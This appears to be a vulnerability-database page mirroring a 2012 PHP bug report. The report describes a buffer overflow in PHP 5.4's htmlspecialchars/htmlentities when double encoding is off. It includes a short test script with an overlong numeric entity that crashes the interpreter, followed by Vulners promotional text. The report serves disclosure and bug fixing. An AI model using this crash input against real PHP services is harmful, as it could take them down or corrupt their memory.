Lucene search
K

PHP 5.4 Buffer Overflow

🗓️ 03 Feb 2012 00:00:00Reported by cataphractType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Buffer overflow in PHP 5.4 htmlspecialchars/entities function - long entities causing buffer overflo

Code
`From: cataphract  
Operating system: Any  
PHP version: 5.4SVN-2012-02-03 (SVN)  
Package: Reproducible crash  
Bug Type: Bug  
Bug description:Buffer overflow on htmlspecialchars/entities with $double=false  
Description:  
------------  
Long entities can cause a buffer overflow because the loop only guarantees  
40 bytes available in beginning.  
Test script:  
---------------  
<?php  
echo  
htmlspecialchars('"""""""""""""""""""""""""""""""""""""""""""""&#x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005;',  
ENT_QUOTES, 'UTF-8', false), "\n";  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Feb 2012 00:00Current
1.1Low risk
Vulners AI Score1.1
19